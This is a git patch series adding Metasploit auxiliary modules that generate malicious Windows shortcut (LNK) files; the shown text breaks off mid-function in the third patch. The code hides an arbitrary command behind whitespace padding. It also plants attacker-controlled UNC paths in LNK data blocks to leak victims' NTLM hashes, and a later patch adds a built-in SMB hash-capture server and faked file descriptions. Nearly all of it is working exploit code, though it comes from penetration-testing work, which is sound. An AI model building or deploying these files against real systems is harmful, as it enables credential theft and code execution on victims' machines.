From 600ad5777aa0a87a8e128a7a799805973a9cc2c3 Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Fri, 5 Sep 2025 10:46:49 +0530 Subject: [PATCH 1/8] Issue: #20223 Added Metasploit Auxiliary Module: [x] Environment Variable Data Block NTLM Leak [x] Icon Environment Data Block NTLM Leak [x] Special Folder Data Block NTLM Leak [x] Windows LNK Padding Ref: https://github.com/nafiez/DataBlockNTLMLeak/tree/main --- .../fileformat/datablock_padding_lnk.rb | 154 +++++++++++++++ .../environment_variable_datablock_leak.rb | 178 ++++++++++++++++++ .../icon_environment_datablock_leak.rb | 178 ++++++++++++++++++ .../fileformat/specialfolder_leak.rb | 162 ++++++++++++++++ 4 files changed, 672 insertions(+) create mode 100644 modules/auxiliary/fileformat/datablock_padding_lnk.rb create mode 100644 modules/auxiliary/fileformat/environment_variable_datablock_leak.rb create mode 100644 modules/auxiliary/fileformat/icon_environment_datablock_leak.rb create mode 100644 modules/auxiliary/fileformat/specialfolder_leak.rb diff --git a/modules/auxiliary/fileformat/datablock_padding_lnk.rb b/modules/auxiliary/fileformat/datablock_padding_lnk.rb new file mode 100644 index 0000000000000..8b96ca7286337 --- /dev/null +++ b/modules/auxiliary/fileformat/datablock_padding_lnk.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding', + 'Description' => %q{ + This module generates Windows LNK (shortcut) file that can execute + arbitrary commands. The LNK file uses environment variables and execute + its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace + character padding bytes and concatenates the actual payload. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Nafiez' ], + 'References' => [ + ['URL', 'https://zeifan.my/Windows-LNK/'], + ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'], + ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html'] + ], + 'Platform' => 'win', + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-07-19' + )) + + register_options([ + OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), + OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), + OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]), + OptString.new('ICON_PATH', [ true, 'Icon path for the LNK file', 'your_icon_path\\WindowsBackup.ico' ]), + OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ]) + ]) + end + + def run + filename = datastore['FILENAME'] + command = datastore['COMMAND'] + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + buffer_size = datastore['BUFFER_SIZE'] + + print_status("Generating LNK file: #{filename}") + + lnk_data = generate_lnk_file(command, description, icon_path, buffer_size) + + file_create(lnk_data) + + print_good("Successfully created #{filename}") + print_status("Command line buffer size: #{buffer_size} bytes") + print_status("Target command: #{command}") + end + + private + + def generate_lnk_file(command, description, icon_path, buffer_size) + data = "".force_encoding('ASCII-8BIT') + data << create_shell_link_header() + data << create_string_data(description) + + cmd_buffer = create_command_buffer(command, buffer_size) + + data << create_string_data(cmd_buffer) + data << create_string_data(icon_path) + data << create_environment_block() + + return data + end + + def create_shell_link_header + header = "".force_encoding('ASCII-8BIT') + header << [0x0000004C].pack('V') + header << [0x00021401].pack('V') + header << [0x0000].pack('v') + header << [0x0000].pack('v') + header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8') + + link_flags = 0x00000004 | + 0x00000020 | + 0x00000040 | + 0x00000080 | + 0x00000200 | + 0x02000000 + + header << [link_flags].pack('V') + header << [0x00000000].pack('V') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0].pack('V') + header << [0].pack('V') + header << [0x00000007].pack('V') + header << [0].pack('v') + header << [0].pack('v') + header << [0].pack('V') + header << [0].pack('V') + + return header + end + + def create_string_data(str) + data = "".force_encoding('ASCII-8BIT') + + data << [str.length].pack('v') + + unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT') + data << unicode_str + + return data + end + + def create_command_buffer(command, buffer_size) + cmd_command = "/c #{command}" + + cmd_len = cmd_command.length + fill_bytes = buffer_size - cmd_len + + if fill_bytes > 0 + buffer = " " * fill_bytes + cmd_command + else + buffer = cmd_command + end + + buffer = buffer[0, buffer_size] if buffer.length > buffer_size + buffer << "\x00" + + return buffer + end + + def create_environment_block + data = "".force_encoding('ASCII-8BIT') + + block_size = 0x00000314 + data << [block_size].pack('V') + + signature = 0xA0000001 + data << [signature].pack('V') + + env_path = "%windir%\\system32\\cmd.exe" + + ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT') + data << ansi_buffer + + unicode_buffer = env_path.encode('UTF-16LE') + unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') + data << unicode_buffer + + return data + end + end \ No newline at end of file diff --git a/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb b/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb new file mode 100644 index 0000000000000..50021d33aad2f --- /dev/null +++ b/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim right-click the generated LNK file, it will attempt to connect to the + the specified UNC path, resulting in an SMB connection that can be captured + to harvest credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nafiez', # Original POC & Module + ], + 'References' => [ + ['URL', 'https://zeifan.my/Right-Click-LNK/'] + ], + 'Platform' => 'win', + 'Targets' => [ + ['Windows', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-06', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + )) + + register_options([ + OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']), + OptString.new('DESCRIPTION', [true, 'The shortcut description', 'Testing Purposes']), + OptString.new('ICON_PATH', [true, 'The icon path to use', 'e.g. abc.ico']), + OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]), + ]) + end + + def run + print_status("Creating '#{datastore['FILENAME']}' file...") + + begin + lnk_data = create_lnk_file + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication") + rescue => e + fail_with(Failure::BadConfig, "Error generating the LNK file: #{e.message}") + end + end + + def create_lnk_file + begin + data = "".b + + # LNK header - 76 bytes + header = "\x4C\x00\x00\x00".b + + # LinkCLSID (00021401-0000-0000-C000-000000000046) + header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b + + # Define LinkFlags + link_flags = 0x00000000 + link_flags |= 0x00000004 # HAS_NAME + link_flags |= 0x00000020 # HAS_ARGUMENTS + link_flags |= 0x00000040 # HAS_ICON_LOCATION + link_flags |= 0x00000080 # IS_UNICODE + link_flags |= 0x00000200 # HAS_EXP_STRING + + header += [link_flags].pack('V') + + # FileAttributes (FILE_ATTRIBUTE_NORMAL) + header += "\x20\x00\x00\x00".b + + # CreationTime, AccessTime, WriteTime (zeroed) + header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 + + # FileSize + header += "\x00\x00\x00\x00".b + + # IconIndex + header += "\x00\x00\x00\x00".b + + # ShowCommand (SW_SHOWNORMAL) + header += "\x01\x00\x00\x00".b + + # HotKey + header += "\x00\x00".b + + # Reserved fields + header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b + + # Add the header to our binary data + data += header + + # NAME field (description in Unicode) + description = datastore['DESCRIPTION'].to_s + description_utf16 = description.encode('UTF-16LE').b + data += [description_utf16.bytesize / 2].pack('v') + data += description_utf16 + + # ARGUMENTS field (command line arguments in Unicode) + padding_size = datastore['PADDING_SIZE'] + cmd_args = " " * padding_size + cmd_args_utf16 = cmd_args.encode('UTF-16LE').b + data += [cmd_args_utf16.bytesize / 2].pack('v') + data += cmd_args_utf16 + + # ICON LOCATION field (icon path in Unicode) + icon_path = datastore['ICON_PATH'].to_s + icon_path_utf16 = icon_path.encode('UTF-16LE').b + data += [icon_path_utf16.bytesize / 2].pack('v') + data += icon_path_utf16 + + # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE + env_block_size = 0x00000314 # Total size of this block + env_block_sig = 0xA0000001 # Environmental Variables block signature + + data += [env_block_size].pack('V') + data += [env_block_sig].pack('V') + + # Target field in ANSI (260 bytes) + unc_path = validate_unc_path(datastore['UNC_PATH'].to_s) + + # Create fixed-size ANSI buffer with nulls + ansi_buffer = "\x00".b * 260 + + # Copy the UNC path bytes into the buffer + unc_path.bytes.each_with_index do |byte, i| + ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize + end + + data += ansi_buffer + + # Target field in Unicode (520 bytes) + unc_path_utf16 = unc_path.encode('UTF-16LE').b + + # Create fixed-size Unicode buffer with nulls + unicode_buffer = "\x00".b * 520 + + # Copy the UTF-16LE encoded UNC path bytes into the buffer + unc_path_utf16.bytes.each_with_index do |byte, i| + unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize + end + + data += unicode_buffer + + data += "\x00\x00\x00\x00".b + + return data + rescue => e + print_error("Error in create_lnk_file: #{e.message}") + print_error("#{e.backtrace.join("\n")}") + raise e + end + end + + def validate_unc_path(path) + unless path.match(/^\\\\[^\\]+\\[^\\]*$/) + print_warning("UNC_PATH may not be correctly formatted. Expected format: \\\\server\\share") + end + path + end + end \ No newline at end of file diff --git a/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb new file mode 100644 index 0000000000000..7fb3712e5416c --- /dev/null +++ b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that + can be captured to harvest credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nafiez', # Original POC & MSF Module + ], + 'References' => [ + ['URL', 'https://zeifan.my/Right-Click-LNK/'] + ], + 'Platform' => 'win', + 'Targets' => [ + ['Windows', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + )) + + register_options([ + OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']), + OptString.new('DESCRIPTION', [true, 'The shortcut description', 'Testing Purposes']), + OptString.new('ICON_PATH', [true, 'The icon path to use (not necessary using real ICON)', 'e.g. a']), + OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]) + ]) + end + + def run + print_status("Creating '#{datastore['FILENAME']}' file...") + + begin + lnk_data = create_lnk_file + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication") + rescue => e + fail_with(Failure::BadConfig, "Error generating the LNK file: #{e.message}") + end + end + + def create_lnk_file + begin + data = "".b + + # LNK header - 76 bytes + header = "\x4C\x00\x00\x00".b + + # LinkCLSID (00021401-0000-0000-C000-000000000046) + header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b + + # Define LinkFlags + link_flags = 0x00000000 + link_flags |= 0x00000004 # HAS_NAME + link_flags |= 0x00000020 # HAS_ARGUMENTS + link_flags |= 0x00000040 # HAS_ICON_LOCATION + link_flags |= 0x00000080 # IS_UNICODE + link_flags |= 0x00004000 # HAS_EXP_ICON + + header += [link_flags].pack('V') + + # FileAttributes (FILE_ATTRIBUTE_NORMAL) + header += "\x20\x00\x00\x00".b + + # CreationTime, AccessTime, WriteTime (zeroed) + header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 + + # FileSize + header += "\x00\x00\x00\x00".b + + # IconIndex + header += "\x00\x00\x00\x00".b + + # ShowCommand (SW_SHOWNORMAL) + header += "\x01\x00\x00\x00".b + + # HotKey + header += "\x00\x00".b + + # Reserved fields + header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b + + # Add the header to our binary data + data += header + + # NAME field (description in Unicode) + description = datastore['DESCRIPTION'].to_s + description_utf16 = description.encode('UTF-16LE').b + data += [description_utf16.bytesize / 2].pack('v') + data += description_utf16 + + # ARGUMENTS field (command line arguments in Unicode) + padding_size = datastore['PADDING_SIZE'] + cmd_args = " " * padding_size + cmd_args_utf16 = cmd_args.encode('UTF-16LE').b + data += [cmd_args_utf16.bytesize / 2].pack('v') + data += cmd_args_utf16 + + # ICON LOCATION field (icon path in Unicode) + icon_path = datastore['ICON_PATH'].to_s + icon_path_utf16 = icon_path.encode('UTF-16LE').b + data += [icon_path_utf16.bytesize / 2].pack('v') + data += icon_path_utf16 + + # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE + env_block_size = 0x00000314 # Total size of this block + env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE + + data += [env_block_size].pack('V') + data += [env_block_sig].pack('V') + + # Target field in ANSI (260 bytes) + unc_path = validate_unc_path(datastore['UNC_PATH'].to_s) + + # Create fixed-size ANSI buffer with nulls + ansi_buffer = "\x00".b * 260 + + # Copy the UNC path bytes into the buffer + unc_path.bytes.each_with_index do |byte, i| + ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize + end + + data += ansi_buffer + + # Target field in Unicode (520 bytes) + unc_path_utf16 = unc_path.encode('UTF-16LE').b + + # Create fixed-size Unicode buffer with nulls + unicode_buffer = "\x00".b * 520 + + # Copy the UTF-16LE encoded UNC path bytes into the buffer + unc_path_utf16.bytes.each_with_index do |byte, i| + unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize + end + + data += unicode_buffer + + data += "\x00\x00\x00\x00".b + + return data + rescue => e + print_error("Error in create_lnk_file: #{e.message}") + print_error("#{e.backtrace.join("\n")}") + raise e + end + end + + def validate_unc_path(path) + unless path.match(/^\\\\[^\\]+\\[^\\]*$/) + print_warning("UNC_PATH may not be correctly formatted. Expected format: \\\\server\\share") + end + path + end + end \ No newline at end of file diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb new file mode 100644 index 0000000000000..9460110772146 --- /dev/null +++ b/modules/auxiliary/fileformat/specialfolder_leak.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that + can be captured to harvest credentials. + }, + 'Author' => [ 'Nafiez' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://zeifan.my/Right-Click-LNK/', + 'URL', 'https://www.exploit-db.com/exploits/42382', + 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb' + ] + ], + 'Platform' => 'win', + 'Targets' => [ [ 'Windows Universal', {} ] ], + 'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10 + )) + + register_options([ + OptString.new('FILENAME', [ true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNCPATH', [ true, 'UNC path that will be accessed (\\\\server\\share)', '\\\\192.168.1.1\\share']), + OptString.new('APPNAME', [ true, 'Name of the application to display', 'Testing']) + ]) + end + + def generate_shell_link_header + header = '' + header << [0x4C].pack('L') # HeaderSize (4 bytes) + header << [0x00021401, 0x0000, 0x0000, # LinkCLSID (16 bytes) + 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') + header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode + header << [0x00].pack('L') # FileAttributes (4 bytes) + header << [0x00].pack('Q') # CreationTime (8 bytes) + header << [0x00].pack('Q') # AccessTime (8 bytes) + header << [0x00].pack('Q') # WriteTime (8 bytes) + header << [0x00].pack('L') # FileSize (4 bytes) + header << [0x00].pack('L') # IconIndex (4 bytes) + header << [0x00].pack('L') # ShowCommand (4 bytes) + header << [0x00].pack('S') # HotKey (2 bytes) + header << [0x00].pack('S') # Reserved1 (2 bytes) + header << [0x00].pack('L') # Reserved2 (4 bytes) + header << [0x00].pack('L') # Reserved3 (4 bytes) + + return header + end + + def generate_item_id(data) + return [data.length + 2].pack('S') + data + end + + def generate_lnk_special(path, name) + # Force encoding to ASCII-8BIT (binary) to avoid encoding issues + path = path.dup.force_encoding('ASCII-8BIT') + name = name.dup.force_encoding('ASCII-8BIT') + + # Add null terminator + path = path + "\x00".force_encoding('ASCII-8BIT') + name = name + "\x00".force_encoding('ASCII-8BIT') + + # Convert to UTF-16LE manually + path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT') + name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT') + + # Remove BOM (first 2 bytes) if present + path_utf16 = path_utf16[2..-1] if path_utf16.start_with?("\xFF\xFE") + name_utf16 = name_utf16[2..-1] if name_utf16.start_with?("\xFF\xFE") + + bin_data = "".force_encoding('ASCII-8BIT') + bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT') + bin_data << [path.length].pack('S') + bin_data << [name.length].pack('S') + bin_data << path_utf16 + bin_data << name_utf16 + bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment + + return bin_data + end + + def generate_linktarget_idlist(path, name) + idlist = "".force_encoding('ASCII-8BIT') + + # Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html + + # First ItemID - My Computer / This PC + # {20D04FE0-3AEA-1069-A2D8-08002B30309D} + field_size_id1 = "\x1f\x50" + first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id1 + first_id) + + # Second ItemID - Control Panel (All Tasks) + # {ED7BA470-8E54-465E-825C-99712043E01C} + field_size_id2 = "\x2e\x80" + second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id2 + second_id) + + # Custom ItemID - Our UNC path + idlist << generate_item_id(generate_lnk_special(path, name)) + + # TerminalID + idlist << "\x00\x00".force_encoding('ASCII-8BIT') + + # Full IDList with size + return [idlist.length].pack('S') + idlist + end + + def generate_extra_data + extra = "".force_encoding('ASCII-8BIT') + extra << [0x10].pack('L') # BlockSize (4 bytes) + extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes) + extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel + extra << [0x28].pack('L') # Offset (4 bytes) + extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes) + + return extra + end + + def ms_shllink(path, name) + lnk_data = "".force_encoding('ASCII-8BIT') + lnk_data << generate_shell_link_header + lnk_data << generate_linktarget_idlist(path, name) + lnk_data << generate_extra_data + + return lnk_data + end + + def run + unc_path = datastore['UNCPATH'] + app_name = datastore['APPNAME'] + + # Validate UNC path format + unless unc_path.start_with?('\\\\') + print_error("UNC path must start with \\\\ (Example: \\\\server\\share)") + return + end + + print_status("Creating .LNK file with UNC path: #{unc_path}") + + lnk_data = ms_shllink(unc_path, app_name) + + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication") + end + end \ No newline at end of file From 3aa18b154179b4da4345eb46d2f3bc26119f52ff Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Sun, 14 Sep 2025 15:19:05 +0530 Subject: [PATCH 2/8] updated: description and icon_path as optional, added: faker module to generate description and icon_path, fixed: minor changes --- .../fileformat/datablock_padding_lnk.rb | 28 ++++++++++++++++--- 1 file changed, 24 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/fileformat/datablock_padding_lnk.rb b/modules/auxiliary/fileformat/datablock_padding_lnk.rb index 8b96ca7286337..81a0f399479fd 100644 --- a/modules/auxiliary/fileformat/datablock_padding_lnk.rb +++ b/modules/auxiliary/fileformat/datablock_padding_lnk.rb @@ -8,7 +8,7 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding', + 'Name' => 'Windows Shortcut (LNK) Padding', 'Description' => %q{ This module generates Windows LNK (shortcut) file that can execute arbitrary commands. The LNK file uses environment variables and execute @@ -18,6 +18,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Nafiez' ], 'References' => [ + ['ZDI', 'ZDI-CAN-25373'], ['URL', 'https://zeifan.my/Windows-LNK/'], ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'], ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html'] @@ -31,8 +32,8 @@ def initialize(info = {}) register_options([ OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), - OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]), - OptString.new('ICON_PATH', [ true, 'Icon path for the LNK file', 'your_icon_path\\WindowsBackup.ico' ]), + OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]), + OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]), OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ]) ]) end @@ -42,6 +43,25 @@ def run command = datastore['COMMAND'] description = datastore['DESCRIPTION'] icon_path = datastore['ICON_PATH'] + + unless description && !description.empty? + require 'faker' + description = Faker::Lorem.sentence(word_count: 3) rescue nil + rescue LoadError + description = nil + end + description ||= 'Shortcut' + end + + unless icon_path && !icon_path.empty? + require 'faker' + icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}") rescue nil + rescue LoadError + icon_path = nil + end + icon_path ||= '%SystemRoot%\\System32\\shell32.dll' + end + buffer_size = datastore['BUFFER_SIZE'] print_status("Generating LNK file: #{filename}") @@ -149,6 +169,6 @@ def create_environment_block unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') data << unicode_buffer - return data + data end end \ No newline at end of file From 5a82ea53b9a21519d471063c8c334804109e4963 Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Sun, 14 Sep 2025 15:34:26 +0530 Subject: [PATCH 3/8] added: smb for lateral movement, updated: description and icon_path as optional, used: faker module to generate data --- .../icon_environment_datablock_leak.rb | 85 ++++++++++++++----- 1 file changed, 66 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb index 7fb3712e5416c..bb29d2eb3a73a 100644 --- a/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb +++ b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb @@ -7,6 +7,8 @@ class MetasploitModule < Msf::Auxiliary Rank = GoodRanking include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture def initialize(info = {}) super(update_info(info, @@ -43,24 +45,58 @@ def initialize(info = {}) register_options([ OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), - OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']), - OptString.new('DESCRIPTION', [true, 'The shortcut description', 'Testing Purposes']), - OptString.new('ICON_PATH', [true, 'The icon path to use (not necessary using real ICON)', 'e.g. a']), + OptString.new('UNC_PATH', [false, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', nil]), + OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]), + OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]), OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]) ]) + deregister_options('SRVHOST', 'SRVPORT') + register_advanced_options([ + OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on', '0.0.0.0']), + OptPort.new('SRVPORT', [true, 'The local port to listen on', 445]) + ]) end def run print_status("Creating '#{datastore['FILENAME']}' file...") - - begin - lnk_data = create_lnk_file - file_create(lnk_data) - print_good("LNK file created: #{datastore['FILENAME']}") - print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication") - rescue => e - fail_with(Failure::BadConfig, "Error generating the LNK file: #{e.message}") + + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + + unless description && !description.empty? + require 'faker' + description = Faker::Lorem.sentence(word_count: 3) rescue nil + rescue LoadError + description = nil + end + description ||= 'Shortcut' + end + + unless icon_path && !icon_path.empty? + require 'faker' + icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'ico')}") rescue nil + rescue LoadError + icon_path = nil + end + icon_path ||= '%SystemRoot%\\System32\\shell32.dll' end + + unc_path = datastore['UNC_PATH'] + if unc_path.nil? || unc_path.empty? + start_smb_capture_server + unc_path = "\\\\#{datastore['SRVHOST']}\\#{random_share_name}" + else + validate_or_fail_unc!(unc_path) + end + + @resolved_description = description + @resolved_icon_path = icon_path + @resovled_unc_path = unc_path + lnk_data = create_lnk_file + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + end def create_lnk_file @@ -108,7 +144,7 @@ def create_lnk_file data += header # NAME field (description in Unicode) - description = datastore['DESCRIPTION'].to_s + description = @resolved_description.to_s description_utf16 = description.encode('UTF-16LE').b data += [description_utf16.bytesize / 2].pack('v') data += description_utf16 @@ -121,7 +157,7 @@ def create_lnk_file data += cmd_args_utf16 # ICON LOCATION field (icon path in Unicode) - icon_path = datastore['ICON_PATH'].to_s + icon_path = @resolved_icon_path.to_s icon_path_utf16 = icon_path.encode('UTF-16LE').b data += [icon_path_utf16.bytesize / 2].pack('v') data += icon_path_utf16 @@ -134,7 +170,7 @@ def create_lnk_file data += [env_block_sig].pack('V') # Target field in ANSI (260 bytes) - unc_path = validate_unc_path(datastore['UNC_PATH'].to_s) + unc_path = @resovled_unc_path.to_s # Create fixed-size ANSI buffer with nulls ansi_buffer = "\x00".b * 260 @@ -161,7 +197,7 @@ def create_lnk_file data += "\x00\x00\x00\x00".b - return data + data rescue => e print_error("Error in create_lnk_file: #{e.message}") print_error("#{e.backtrace.join("\n")}") @@ -169,10 +205,21 @@ def create_lnk_file end end - def validate_unc_path(path) - unless path.match(/^\\\\[^\\]+\\[^\\]*$/) - print_warning("UNC_PATH may not be correctly formatted. Expected format: \\\\server\\share") + def start_smb_capture_server + self.share_name = random_share_name + self.smb_srvhost = datastore['SRVHOST'] + self.smb_srvport = datastore['SRVPORT'] + self.capture_hashes = true + start_service + end + + def random_share_name + "share#{Rex::Text.rand_text_alphanumeric(6)}" + end + + def validate_or_fail_unc!(path) + unless 